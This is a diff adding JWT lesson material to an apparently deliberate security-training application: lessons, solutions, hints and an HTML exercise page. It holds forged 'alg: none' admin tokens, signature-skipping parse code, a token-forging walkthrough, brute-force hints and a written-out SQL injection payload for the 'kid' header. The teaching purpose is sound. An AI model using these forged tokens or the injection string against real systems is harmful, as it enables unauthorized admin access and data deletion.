"HS256", + "typ": "JWT" +} + +claims: + +{ + "sub": "1234567890", + "name": "John Doe", + "iat": 1516239022 +} +---- + +[source] +---- +var token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.NFvYpuwbF6YWbPyaNAGEPw9wbhiQSovvSrD89B8K7Ng"; + +Jwts.parser().setSigningKey("test").parseClaimsJws(token); +---- + +will work! + +Let's change the header to `{"alg":"none","typ":"JWT"}` +Using the same source as above gives: + +[source] +---- +var token = " eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.NFvYpuwbF6YWbPyaNAGEPw9wbhiQSovvSrD89B8K7Ng"; + +Jwts.parser().setSigningKey("test").parseClaimsJws(token); +---- + +will result in: + +[souce] +---- +io.jsonwebtoken.MalformedJwtException: JWT string has a digest/signature, but the header does not reference a valid signature algorithm. +---- + +removing the signature completely (leaving the last `.`) + +[source] +---- +var token = "eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ."; + +Jwts.parser().setSigningKey("test").parseClaimsJws(token); +---- + +will result in: + +[source] +---- +io.jsonwebtoken.UnsupportedJwtException: Unsigned Claims JWTs are not supported. +---- + +This is what you would expect from the library! diff --git a/src/main/resources/lessons/jwt/documentation/JWT_libraries_assignment.adoc b/src/main/resources/lessons/jwt/documentation/JWT_libraries_assignment.adoc new file mode 100644 index 000000000..89507f79a --- /dev/null +++ b/src/main/resources/lessons/jwt/documentation/JWT_libraries_assignment.adoc @@ -0,0 +1,61 @@ +== Code review + +Now let's look at a code review and try to think on an attack with the `alg: none`, so we use the following token: + +[source] +---- +eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxMjM0NTY3ODkwIiwidXNlciI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWUsImlhdCI6MTUxNjIzOTAyMn0. +---- + +which after decoding becomes: + +[source] +---- +{ + "alg" : "none", + "typ" : "JWT" +}, +{ + "admin" : true, + "iat" : 1516239022, + "sub" : "1234567890", + "user" : "John Doe" +} +---- + +[source%linenums, java] +---- +try { + Jwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parseClaimsJws(accessToken); + Claims claims = (Claims) jwt.getBody(); + String user = (String) claims.get("user"); + boolean isAdmin = Boolean.valueOf((String) claims.get("admin")); + if (isAdmin) { + removeAllUsers(); + } else { + log.error("You are not an admin user"); + } +} catch (JwtException e) { + throw new InvalidTokenException(e); +} +---- + +[source%linenums, java] +---- +try { + Jwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(accessToken); + Claims claims = (Claims) jwt.getBody(); + String user = (String) claims.get("user"); + boolean isAdmin = Boolean.valueOf((String) claims.get("admin")); + if (isAdmin) { + removeAllUsers(); + } else { + log.error("You are not an admin user"); + } +} catch (JwtException e) { + throw new InvalidTokenException(e); +} +---- + +Can you spot the weakness? + diff --git a/src/main/resources/lessons/jwt/documentation/JWT_libraries_assignment2.adoc b/src/main/resources/lessons/jwt/documentation/JWT_libraries_assignment2.adoc new file mode 100644 index 000000000..e1aa7c11c --- /dev/null +++ b/src/main/resources/lessons/jwt/documentation/JWT_libraries_assignment2.adoc @@ -0,0 +1,37 @@ +== Code review (2) + +Same as before but now we are only removing the signature part, leaving the algorithm as is. + +[source] +---- +eyJhbGciOiJIUzI1NiJ9.ew0KICAiYWRtaW4iIDogdHJ1ZSwNCiAgImlhdCIgOiAxNTE2MjM5MDIyLA0KICAic3ViIiA6ICIxMjM0NTY3ODkwIiwNCiAgInVzZXIiIDogIkpvaG4gRG9lIg0KfQ. + +{ + "alg" : "HS256" +}, +{ + "admin" : true, + "iat" : 1516239022, + "sub" : "1234567890", + "user" : "John Doe" +} +---- + +Using the following `parse` method we are still able to skip the signature check. + +[source%linenums, java] +---- +try { + Jwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(accessToken); + Claims claims = (Claims) jwt.getBody(); + String user = (String) claims.get("user"); + boolean isAdmin = Boolean.valueOf((String) claims.get("admin")); + if (isAdmin) { + removeAllUsers(); + } else { + log.error("You are not an admin user"); + } +} catch (JwtException e) { + throw new InvalidTokenException(e); +} +---- diff --git a/src/main/resources/lessons/jwt/documentation/JWT_libraries_solution.adoc b/src/main/resources/lessons/jwt/documentation/JWT_libraries_solution.adoc new file mode 100644 index 000000000..f01c33afc --- /dev/null +++ b/src/main/resources/lessons/jwt/documentation/JWT_libraries_solution.adoc @@ -0,0 +1,46 @@ +=== Solution + +In the past assignments we learned to **NOT** trust the libraries to do the correct thing for us. In both cases we saw that even specifying the JWT key and passing the correct algorithm. Even using the token: + +[source] +---- +eyJhbGciOiJIUzI1NiJ9.ew0KICAiYWRtaW4iIDogdHJ1ZSwNCiAgImlhdCIgOiAxNTE2MjM5MDIyLA0KICAic3ViIiA6ICIxMjM0NTY3ODkwIiwNCiAgInVzZXIiIDogIkpvaG4gRG9lIg0KfQ. + +{ + "alg" : "HS256" +}, +{ + "admin" : true, + "iat" : 1516239022, + "sub" : "1234567890", + "user" : "John Doe" +} +---- + +And the following Java code: + +[source] +---- +Jwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(accessToken); +---- + +You see we set the signing key with `setSigningKey` the library still skips the validation of the signature. + +It is not only limited to the traditional `alg: none` attack, but it also works with the `alg: HS256`. + +=== Conclusion + +When you have chosen a library to help dealing with JWT tokens make sure to: + +- use the correct method in your code when validating tokens. +- add test cases and validate the algorithm confusion is not possible. +- as a security team write a utility methods to be used by the teams which encapsulate the library to make sure the teams use the correct parsing logic. + +=== Alternative: Paseto + +The algorithm confusion is a real problem when dealing with JWTs it can be avoided by using PASETO (**P**latform-**A**gnostic **SE**curity **TO**kens), which is currently implemented in 10 programming languages. +One of the drawbacks of using this method is that JWT is widely spread for example think about using OAuth, so it might not be the best solution to use. + +For more information take a look at the following video: + +video::RijGNytjbOI[youtube, height=480, width=100%] \ No newline at end of file diff --git a/src/main/resources/lessons/jwt/documentation/JWT_login_to_token.adoc b/src/main/resources/lessons/jwt/documentation/JWT_login_to_token.adoc new file mode 100644 index 000000000..ab00249e7 --- /dev/null +++ b/src/main/resources/lessons/jwt/documentation/JWT_login_to_token.adoc @@ -0,0 +1,19 @@ +== Authentication and getting a JWT token + +A basic sequence of getting a token is as follows: + +image::images/jwt_diagram.png[style="lesson-image"] + +{nbsp} + + +In this flow, you can see the user logs in with a username and password on successful authentication the server +returns. The server creates a new token and returns this one to the client. When the client makes a successive +call toward the server it attaches the new token in the "Authorization" header. +The server reads the token and first validates the signature after a successful verification the server uses the +information in the token to identify the user. + +=== Claims + +The token contains claims to identify the user and all other information necessary for the server to fulfill the request. +Be aware not to store sensitive information in the token and always send it over a secure channel. + diff --git a/src/main/resources/lessons/jwt/documentation/JWT_mitigation.adoc b/src/main/resources/lessons/jwt/documentation/JWT_mitigation.adoc new file mode 100644 index 000000000..b49d6bf60 --- /dev/null +++ b/src/main/resources/lessons/jwt/documentation/JWT_mitigation.adoc @@ -0,0 +1,9 @@ +=== Best practices + +Some best practices when working with JWT: + +- Fix the algorithm, do not allow a client to switch the algorithm. +- Make sure you use an appropriate key length when using a symmetric key for signing the token. +- Make sure the claims added to the token do not contain personal information. If you need to add more information opt for encrypting the token as well. +- Add sufficient test cases to your project to verify invalid tokens actually do not work. Integration with a third party to check your token does not mean you do not have test your application at all. +- Take a look at the best practices mentioned in https://tools.ietf.org/html/rfc8725#section-2 \ No newline at end of file diff --git a/src/main/resources/lessons/jwt/documentation/JWT_plan.adoc b/src/main/resources/lessons/jwt/documentation/JWT_plan.adoc new file mode 100644 index 000000000..ae76a5876 --- /dev/null +++ b/src/main/resources/lessons/jwt/documentation/JWT_plan.adoc @@ -0,0 +1,38 @@ += JWT Tokens + +== Concept + +This lesson teaches about using JSON Web Tokens (JWT) for authentication and the common pitfalls you need to be aware of + when using JWT. + +== Goals + +Teach how to securely implement the usage of tokens and validation of those tokens. + +== Introduction + +Many application use JSON Web Tokens (JWT) to allow the client to indicate is identity for further exchange after authentication. + +From https://jwt.io/introduction: +------------------------------------------------------- +JSON Web Token (JWT) is an open standard (RFC 7519) that defines a compact +and self-contained way for securely transmitting +information between parties as a JSON object. This information can be +verified and trusted because it is digitally signed. JWTs can be signed using +a secret (with the HMAC algorithm) or a public/private key pair using RSA. + +JSON Web Token is used to carry information related to the identity and +characteristics (claims) of a client. This "container" is signed by the server +in order to avoid that a client tamper it in order to change, for example, +the identity or any characteristics (example: change the role from simple +user to admin or change the client login). This token is created during +authentication (is provided in case of successful authentication) and is +verified by the server before any processing. It is used by an application +to allow a client to present a token representing his "identity card" (container +with all user information about him) to server and allow the server to verify +the validity and integrity of the token in a secure way, all of this in a stateless +and portable approach (portable in the way that client and server technologies can +be different including also the transport channel even if HTTP is the most often used) +------------------------------------------------------- + + diff --git a/src/main/resources/lessons/jwt/documentation/JWT_refresh.adoc b/src/main/resources/lessons/jwt/documentation/JWT_refresh.adoc new file mode 100644 index 000000000..214f3cec8 --- /dev/null +++ b/src/main/resources/lessons/jwt/documentation/JWT_refresh.adoc @@ -0,0 +1,88 @@ +:linkattrs: + + +== Refreshing a token + +=== Introduction + +In this section we touch upon refreshing an access token. + +=== Types of tokens + +In general there are two types of tokens: an access token and a refresh token. The access token is used for making API +calls towards the server. Access tokens have a limited life span, that's where the refresh token comes in. Once +the access token is no longer valid a request can be made towards the server to get a new access token by presenting +the refresh token. The refresh token can expire but their life span is much longer. This solves the problem of a user +having to authenticate again with their credentials. Whether you should use a refresh token and an access token depends, +below can find a couple of points to keep in mind while choosing which tokens to use. + +So a normal flow can look like: + +``` +curl -X POST -H -d 'username=webgoat&password=webgoat' localhost:8080/WebGoat/login +``` + +The server returns: + +``` +{ + "token_type":"bearer", + "access_token":"XXXX.YYYY.ZZZZ", + "expires_in":10, + "refresh_token":"4a9a0b1eac1a34201b3c5659944e8b7" +} +``` + +As you can see the refresh token is a random string which the server can keep track of (in memory or store in a database) +in order to match the refresh token to the user the refresh token was granted to. +So in this case whenever the access token is still valid we can speak of a "stateless" session, there is +no burden on the server side to setup the user session, the token is self contained. +When the access token is no longer valid the server needs to query for the stored refresh token to make sure the token +is not blocked in any way. + +Whenever the attacker gets a hold on an access token it is only valid for a certain amount of time (say 10 minutes). The +attacker then needs the refresh token to get a new access token. That is why the refresh token needs better protection. +It is also possible to make the refresh token stateless but this means it will become more difficult to see if +the user revoked the tokens. +After the server made all the validations it must return a new refresh token and a new access token to the client. The +client can use the new access token to make the API call. + + +=== What should you check for? + +Regardless of the chosen solution you should store enough information on the server side to validate whether the user +is still trusted. You can think of many things, like store the ip address, keep track of how many times the refresh +token is used (using the refresh token multiple times in the valid time window of the access token might indicate strange +behavior, you can revoke all the tokens and let the user authenticate again). +Also keep track of which access token belonged to which refresh token otherwise an attacker might +be able to get a new access token for a different user with the refresh token of the attacker +(see https://emtunc.org/blog/11/2017/jwt-refresh-token-manipulation/ for a nice write up about how this attack works) +Also a good thing to check for is the ip address or geolocation of the user. If you need to give out a new token check +whether the location is still the same if not revoke all the tokens and let the user authenticate again. + +=== Need for refresh tokens + +Does it make sense to use a refresh token in a modern single page application (SPA)? As we have seen in the section +about storing tokens there are two options: web storage or a cookie which mean a refresh token is right beside an +access token, so if the access token is leaked chances are the refresh token will also be compromised. Most of the time +there is a difference of course. The access token is sent when you make an API call, the refresh token is only sent +when a new access token should be obtained, which in most cases is a different endpoint. If you end up on the same +server you can choose to only use the access token. + +As stated above using an access token and a separate refresh token gives some leverage for the server not to check +the access token over and over. Only perform the check when the user needs a new access token. +It is certainly possible to only use an access token. At the server you store the exact same information you would +store for a refresh token, see previous paragraph. This way you need to check the token each time but this might +be suitable depending on the application. In the case the refresh tokens are stored for validation it is important to protect these tokens as well (at least +use a hash function to store them in your database). + +=== JWT a good idea? + +There are a lot of resources available which question the usecase for using JWT token for client to server authentication +with regards to cookies. The best place to use a JWT token is between server to server communication. In a normal web +application you are better of using plain old cookies. See for more information: + +- http://cryto.net/~joepie91/blog/2016/06/13/stop-using-jwt-for-sessions/[stop-using-jwt-for-sessions, window="_blank"] +- http://cryto.net/~joepie91/blog/2016/06/19/stop-using-jwt-for-sessions-part-2-why-your-solution-doesnt-work/[stop-using-jwt-for-sessions-part-2-why-your-solution-doesnt-work, window="_blank"] +- http://cryto.net/~joepie91/blog/attachments/jwt-flowchart.png[flowchart, window="_blank"] + diff --git a/src/main/resources/lessons/jwt/documentation/JWT_refresh_assignment.adoc b/src/main/resources/lessons/jwt/documentation/JWT_refresh_assignment.adoc new file mode 100644 index 000000000..6656b9355 --- /dev/null +++ b/src/main/resources/lessons/jwt/documentation/JWT_refresh_assignment.adoc @@ -0,0 +1,13 @@ +:linkattrs: + +== Refreshing a token + +It is important to implement a good strategy for refreshing an access token. This assignment is based on a vulnerability +found in a private bug bounty program on Bugcrowd, you can read the full write up https://emtunc.org/blog/11/2017/jwt-refresh-token-manipulation/[here, window="_blank"] + +=== Assignment + +From a breach of last year the following logfile is available link:images/logs.txt[here] +Can you find a way to order the books but let *Tom* pay for them? + + diff --git a/src/main/resources/lessons/jwt/documentation/JWT_signing.adoc b/src/main/resources/lessons/jwt/documentation/JWT_signing.adoc new file mode 100644 index 000000000..0d526de1c --- /dev/null +++ b/src/main/resources/lessons/jwt/documentation/JWT_signing.adoc @@ -0,0 +1,20 @@ +== JWT signing + +Each JWT token should at least be signed before sending it to a client, if a token is not signed the client application +would be able to change the contents of the token. The signing specifications are defined https://tools.ietf.org/html/rfc7515[here] +the specific algorithms you can use are described https://tools.ietf.org/html/rfc7518[here] +It basically comes down you use "HMAC with SHA-2 Functions" or "Digital Signature with RSASSA-PKCS1-v1_5/ECDSA/RSASSA-PSS" function +for signing the token. + +=== Checking the signature + +One important step is to *verify the signature* before performing any other action, let's try to see some things you need +to be aware of before validating the token. + +== Assignment + +Try to change the token you receive and become an admin user by changing the token and once you are admin reset the votes + + + + diff --git a/src/main/resources/lessons/jwt/documentation/JWT_signing_solution.adoc b/src/main/resources/lessons/jwt/documentation/JWT_signing_solution.adoc new file mode 100644 index 000000000..9ecff4ce4 --- /dev/null +++ b/src/main/resources/lessons/jwt/documentation/JWT_signing_solution.adoc @@ -0,0 +1,91 @@ +=== Solution + +The idea behind this assignment is that you can manipulate the token which might cause the server to interpret the token differently. In the beginning when JWT libraries appeared they implemented the specification to the letter meaning that the library took the algorithm specified inside the header and tried to work with it. + +[quote, https://tools.ietf.org/html/rfc8725#section-2.1] +____ +Signed JSON Web Tokens carry an explicit indication of the signing +algorithm, in the form of the "alg" Header Parameter, to facilitate +cryptographic agility. This, in conjunction with design flaws in +some libraries and applications, has led to several attacks: + +* The algorithm can be changed to "none" by an attacker, and some +libraries would trust this value and "validate" the JWT without +checking any signature. + +* An "RS256" (RSA, 2048 bit) parameter value can be changed into +"HS256" (HMAC, SHA-256), and some libraries would try to validate +the signature using HMAC-SHA256 and using the RSA public key as +the HMAC shared secret (see [McLean] and [CVE-2015-9235]). + +For mitigations, see Sections 3.1 and 3.2. +____ + +What basically happened was that libraries just parsed the token as it was given to them without validating what cryptographic operation was used during the creation of the token. + +==== Solution + +First note that we are logged in as `Guest` so first select a different user for example: Tom. +User Tom is allowed to vote as you can see, but he is unable to reset the votes. Looking at the request this will return an `access_token` in the response: + +[source] +---- +GET http://localhost:8080/WebGoat/JWT/votings/login?user=Tom HTTP/1.1 + +access_token=eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE2MDgxMjg1NjYsImFkbWluIjoiZmFsc2UiLCJ1c2VyIjoiVG9tIn0.rTSX6PSXqUoGUvQQDBiqX0re2BSt7s2-X6FPf34Qly9SMpqIUSP8jykedJbjOBNlM3_CTjgk1SvUv48Pz8zIzA +---- + +Decoding the token gives: + +[source] +---- +{ + "alg": "HS512" +} +{ + "iat": 1608128566, + "admin": "false", + "user": "Tom" +} +---- + +We can change the `admin` claim to `false` but then signature will become invalid. How do we end up with a valid signature? +Looking at the https://tools.ietf.org/html/rfc7519#section-6.1[RFC specification] `alg: none` is a valid choice and gives an unsecured JWT. +Let's change our token: + +[source] +---- +headers: + +{ + "alg": "none" +} + +claims: + +{ + "iat": 1608128566, + "admin": "true", + "user": "Tom" +} +---- + +If we use WebWolf to create our token we get: + +[source] +---- +eyJhbGciOiJub25lIn0.ew0KICAiYWRtaW4iIDogInRydWUiLA0KICAiaWF0IiA6IDE2MDgxMjg1NjYsDQogICJ1c2VyIiA6ICJUb20iDQp9 +---- + +Now we can replace the token in the cookie and perform the reset again. One thing to watch out for is to add a `.` at the end otherwise the token is not valid. + + + +== References + +For more information take a look at the following video: + +video::wt3UixCiPfo[youtube, height=480, width=100%] + + + diff --git a/src/main/resources/lessons/jwt/documentation/JWT_storing.adoc b/src/main/resources/lessons/jwt/documentation/JWT_storing.adoc new file mode 100644 index 000000000..e1fb92adc --- /dev/null +++ b/src/main/resources/lessons/jwt/documentation/JWT_storing.adoc @@ -0,0 +1,35 @@ +== Storing JWT tokens + +When receiving a JWT token you need to store it at the client side. There are basically two options: + +- Store the token in a cookie +- Store the token in local/session storage + +=== Cookies + +Cookies is the most simplest form, every browser supports cookies for a long time. A best practise is to mark the +cookie with the `HttpOnly` to guarantee scripts cannot read the cookie and with `Secure` to make sure the cookie +is only sent over HTTPs. + +Note: using a cookie does not mean you have maintain a state stored on the server, like the old session cookies worked +before. The JWT token is self contained and can/should contain all the information necessary to be completely stateless the +cookie is just used as the transport mechanism. + +=== Web storage + +In this case you store the token in on the client side in HTML5 Web Storage. + +=== Choices, security risks + +Web storage is accessible through JavaScript running on the same domain, so the script will have access to the +web storage. So if the site is vulnerable to a cross-site scripting attack the script is able to read the token +from the web storage. See XSS lesson for more about how this attack works. + +On the other hand using cookies have a different problem namely they are vulnerable to a cross-site request forgery +attack. In this case the attacker tries to invoke an action on the website you have a token for. See CSRF lesson for more +information about how this attack works. + +The best recommendation is to choose for the cookie based approach. In practise it is easier to defend against a CSRF +attack. On the other hand many JavaScript frameworks are protecting the user for a XSS attack by applying the right +encoding, this protection comes out of the box. A CSRF protection sometimes is not provided by default and requires work. +In the end take a look at what the framework is offering you, but most of the time a XSS attack gives the attacker more leverage. \ No newline at end of file diff --git a/src/main/resources/lessons/jwt/documentation/JWT_structure.adoc b/src/main/resources/lessons/jwt/documentation/JWT_structure.adoc new file mode 100644 index 000000000..a2951f6a6 --- /dev/null +++ b/src/main/resources/lessons/jwt/documentation/JWT_structure.adoc @@ -0,0 +1,17 @@ +== Structure of a JWT token + +Let's take a look at the structure of a JWT token: + +[role="lesson-image"] +image::images/jwt_token.png[JWT] + +The token is base64 encoded and consists of three parts: + + - header + - claims + - signature + +Both header and claims consist are represented by a JSON object. The header describes the cryptographic operations applied to the JWT and optionally, additional properties of the JWT. +The claims represent a JSON object whose members are the claims conveyed by the JWT. + + diff --git a/src/main/resources/lessons/jwt/documentation/JWT_weak_keys b/src/main/resources/lessons/jwt/documentation/JWT_weak_keys new file mode 100644 index 000000000..e08378c7d --- /dev/null +++ b/src/main/resources/lessons/jwt/documentation/JWT_weak_keys @@ -0,0 +1,10 @@ +== JWT cracking + +With the HMAC with SHA-2 Functions you use a secret key to sign and verify the token. Once we figure out this key +we can create a new token and sign it. So it is very important the key is strong enough so a brute force or +dictionary attack is not feasible. Once you have a token you can start an offline brute force or dictionary attack. + +=== Assignment + +Given we have the following token try to find out secret key and submit a new key with the username changed to WebGoat. + diff --git a/src/main/resources/lessons/jwt/html/JWT.html b/src/main/resources/lessons/jwt/html/JWT.html new file mode 100644 index 000000000..fdf7a5fa6 --- /dev/null +++ b/src/main/resources/lessons/jwt/html/JWT.html @@ -0,0 +1,366 @@ + + + + +
    +
    +
    +
    +
    +
    + +
    +
    +
    + +
    +
    +
    +
    +
    + + + Username: + + + + +
    +
    +
    +
    +
    +
    +
    +
    + +
    +
    +
    +
    +
    + + + +
    +
    +
    +
    +
    +
    + +
    + +
    +
    + +
    +

    Welcome back,

    +
    +
    + +
    +

    Vote for your favorite

    +
    +
    + +
    +
    +
    +
    +
    + +
    + +
    +
    + +
    +
    +
    +
    +
    + + +
    + + + + +
    +
    +
    +
    +
    +
    +
    +
    +
    + +
    +
    +
    +
    +
    +
    + +
    +
    +
    +
    +
    + +
    +
    +
    +
    +
    + +
    +
    + +
    
    +
    +    
    +
    +
    +
    +
    +
    + +
    +
    + +
    +
    + +
    + +
    +
    +
    +
    +
    + +
    +
    +
    + +
    +
    + + + + + +
    +
    +
    +
    +
    +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    ProductQuantityPriceTotal 
    + + + + $ + 4.87 + $14.61 + +
    +
    + +
    +

    Pentesting for professionals

    +
    by WebWolf Publishing
    + Status: Leaves warehouse in 2 - 3 weeks +
    +
    +
    + + $4.99 + $9.98 + +
         
    Subtotal

    Estimated shipping
    +

    Total

    $24.59

    $6.94
    +

    $31.53

          + + + +
    +
    +
    +
    +
    + +
    +
    +
    +
    +
    + +
    +
    + + + +
    +
    +
    +
    +
    +
    +
    + +
    +
    + +
    +

    Jerry

    +
    + Jerry is a small, brown, house mouse. +
    +
    + +
    +
    +
    +
    + +
    +
    + +
    +

    Tom

    +
    + Tom is a grey and white domestic short hair cat. +
    +
    + +
    +
    +
    +
    + +
    +
    +
    +
    +
    + +
    +
    +
    + + + diff --git a/src/main/resources/lessons/jwt/i18n/WebGoatLabels.properties b/src/main/resources/lessons/jwt/i18n/WebGoatLabels.properties new file mode 100644 index 000000000..70ac7a4a1 --- /dev/null +++ b/src/main/resources/lessons/jwt/i18n/WebGoatLabels.properties @@ -0,0 +1,33 @@ +jwt.title=JWT tokens + +#Assignment changing tokens +jwt-user=You are logged in as {0}, but you are not an admin yet, please try again +jwt-invalid-token=Not a valid JWT token, please try again +jwt-only-admin=Only an admin user can reset the votes +jwt-change-token-hint1=Select a different user and look at the token you receive back, use the delete button to reset the votes count +jwt-change-token-hint2=Decode the token and look at the contents +jwt-change-token-hint3=Change the contents of the token and replace the cookie before sending the request for getting the votes +jwt-change-token-hint4=Change the admin field to true in the token +jwt-change-token-hint5=Submit the token by changing the algorithm to None and remove the signature + +jwt-secret-hint1=Save the token and try to verify the token locally +jwt-secret-hint2=Download a word list dictionary (https://github.com/first20hours/google-10000-english) +jwt-secret-hint3=Write a small program or use HashCat for brute forcing the token according the word list +jwt-secret-claims-missing=You are missing some claims, you should keep all the claims in the token +jwt-secret-incorrect-user=The user is {0}, you need to change it to WebGoat + +jwt-refresh-hint1=Look at the access log you will find a token there +jwt-refresh-hint2=The token from the access log is no longer valid, can you find a way to refresh it? +jwt-refresh-hint3=The endpoint for refreshing a token is 'JWT/refresh/newToken' +jwt-refresh-hint4=Use the found access token in the Authorization: Bearer header and use your own refresh token +jwt-refresh-not-tom=User is not Tom but {0}, please try again + +jwt-final-jerry-account=Yikes, you are removing Jerry's account, try to delete the account of Tom +jwt-final-not-tom=Username is not Tom try to pass a token for Tom + +jwt-final-hint1=Take a look at the token and specifically and the header +jwt-final-hint2=The 'kid' (key ID) header parameter is a hint indicating which key was used to secure the JWS +jwt-final-hint3=The key can be located on the filesystem in memory or even reside in the database +jwt-final-hint4=The key is stored in the database and loaded while verifying a token +jwt-final-hint5=Using a SQL injection you might be able to manipulate the key to something you know and create a new token. +jwt-final-hint6=Use: hacked' UNION select 'deletingTom' from INFORMATION_SCHEMA.SYSTEM_USERS -- as the kid in the header and change the contents of the token to Tom and hit the endpoint with the new token \ No newline at end of file diff --git a/src/main/resources/lessons/jwt/images/challenge1-small.png b/src/main/resources/lessons/jwt/images/challenge1-small.png new file mode 100644 index 000000000..a4fbc3470 Binary files /dev/null and b/src/main/resources/lessons/jwt/images/challenge1-small.png differ diff --git a/src/main/resources/lessons/jwt/images/challenge2-small.png b/src/main/resources/lessons/jwt/images/challenge2-small.png new file mode 100644 index 000000000..777b5a093 Binary files /dev/null and b/src/main/resources/lessons/jwt/images/challenge2-small.png differ diff --git a/src/main/resources/lessons/jwt/images/challenge3-small.png b/src/main/resources/lessons/jwt/images/challenge3-small.png new file mode 100644 index 000000000..daf7f7ebb Binary files /dev/null and b/src/main/resources/lessons/jwt/images/challenge3-small.png differ diff --git a/src/main/resources/lessons/jwt/images/challenge4-small.png b/src/main/resources/lessons/jwt/images/challenge4-small.png new file mode 100644 index 000000000..b9ddaa7e7 Binary files /dev/null and b/src/main/resources/lessons/jwt/images/challenge4-small.png differ diff --git a/src/main/resources/lessons/jwt/images/challenge5-small.png b/src/main/resources/lessons/jwt/images/challenge5-small.png new file mode 100644 index 000000000..1aa84ab4c Binary files /dev/null and b/src/main/resources/lessons/jwt/images/challenge5-small.png differ diff --git a/src/main/resources/lessons/jwt/images/jerry.png b/src/main/resources/lessons/jwt/images/jerry.png new file mode 100644 index 000000000..5ed492711 Binary files /dev/null and b/src/main/resources/lessons/jwt/images/jerry.png differ diff --git a/src/main/resources/lessons/jwt/images/jwt_diagram.png b/src/main/resources/lessons/jwt/images/jwt_diagram.png new file mode 100644 index 000000000..cb70a6b66 Binary files /dev/null and b/src/main/resources/lessons/jwt/images/jwt_diagram.png differ diff --git a/src/main/resources/lessons/jwt/images/jwt_token.png b/src/main/resources/lessons/jwt/images/jwt_token.png new file mode 100644 index 000000000..43a07c4c8 Binary files /dev/null and b/src/main/resources/lessons/jwt/images/jwt_token.png differ diff --git a/src/main/resources/lessons/jwt/images/logs.txt b/src/main/resources/lessons/jwt/images/logs.txt new file mode 100644 index 000000000..42146c185 --- /dev/null +++ b/src/main/resources/lessons/jwt/images/logs.txt @@ -0,0 +1,6 @@ + +194.201.170.15 - - [28/Jan/2016:21:28:01 +0100] "GET /JWT/refresh/checkout?token=eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1MjYxMzE0MTEsImV4cCI6MTUyNjIxNzgxMSwiYWRtaW4iOiJmYWxzZSIsInVzZXIiOiJUb20ifQ.DCoaq9zQkyDH25EcVWKcdbyVfUL4c9D4jRvsqOqvi9iAd4QuqmKcchfbU8FNzeBNF9tLeFXHZLU4yRkq-bjm7Q HTTP/1.1" 401 242 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0" "-" +194.201.170.15 - - [28/Jan/2016:21:28:01 +0100] "POST /JWT/refresh/moveToCheckout HTTP/1.1" 200 12783 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0" "-" +194.201.170.15 - - [28/Jan/2016:21:28:01 +0100] "POST /JWT/refresh/login HTTP/1.1" 200 212 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0" "-" +194.201.170.15 - - [28/Jan/2016:21:28:01 +0100] "GET /JWT/refresh/addItems HTTP/1.1" 404 249 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0" "-" +195.206.170.15 - - [28/Jan/2016:21:28:01 +0100] "POST /JWT/refresh/moveToCheckout HTTP/1.1" 404 215 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36" "-" diff --git a/src/main/resources/lessons/jwt/images/product-icon.png b/src/main/resources/lessons/jwt/images/product-icon.png new file mode 100644 index 000000000..6589f621d Binary files /dev/null and b/src/main/resources/lessons/jwt/images/product-icon.png differ diff --git a/src/main/resources/lessons/jwt/images/tom.png b/src/main/resources/lessons/jwt/images/tom.png new file mode 100644 index 000000000..d8e50d91a Binary files /dev/null and b/src/main/resources/lessons/jwt/images/tom.png differ diff --git a/src/main/resources/lessons/jwt/js/jwt-buy.js b/src/main/resources/lessons/jwt/js/jwt-buy.js new file mode 100644 index 000000000..f5167aa91 --- /dev/null +++ b/src/main/resources/lessons/jwt/js/jwt-buy.js @@ -0,0 +1,36 @@ +$(document).ready(function () { + $("#quantity1").on("blur", function () { + var quantity = $("#quantity1").val(); + if (!$.isNumeric(quantity) || quantity < 0) { + $("#quantity1").val("1"); + quantity = 1; + } + var piecePrice = $("#piecePrice1").text(); + $('#totalPrice1').text((quantity * piecePrice).toFixed(2)); + updateTotal(); + }); + $("#quantity2").on("blur", function () { + var quantity = $("#quantity2").val(); + if (!$.isNumeric(quantity) || quantity < 0) { + $("#quantity2").val("1"); + quantity = 1; + } + var piecePrice = $("#piecePrice2").text(); + $('#totalPrice2').text((quantity * piecePrice).toFixed(2)); + updateTotal(); + }) +}) + +function updateTotal() { + var price1 = parseFloat($('#totalPrice1').text()); + var price2 = parseFloat($('#totalPrice2').text()); + var subTotal = price1 + price2; + $('#subtotalJwt').text(subTotal.toFixed(2)); + var total = subTotal + 6.94; + $('#totalJwt').text(total.toFixed(2)); + + +} + + + diff --git a/src/main/resources/lessons/jwt/js/jwt-final.js b/src/main/resources/lessons/jwt/js/jwt-final.js new file mode 100644 index 000000000..faa31b927 --- /dev/null +++ b/src/main/resources/lessons/jwt/js/jwt-final.js @@ -0,0 +1,9 @@ +function follow(user) { + $.ajax({ + type: 'POST', + url: 'JWT/final/follow/' + user + }).then(function (result) { + $("#toast").append(result); + }) +} + diff --git a/src/main/resources/lessons/jwt/js/jwt-refresh.js b/src/main/resources/lessons/jwt/js/jwt-refresh.js new file mode 100644 index 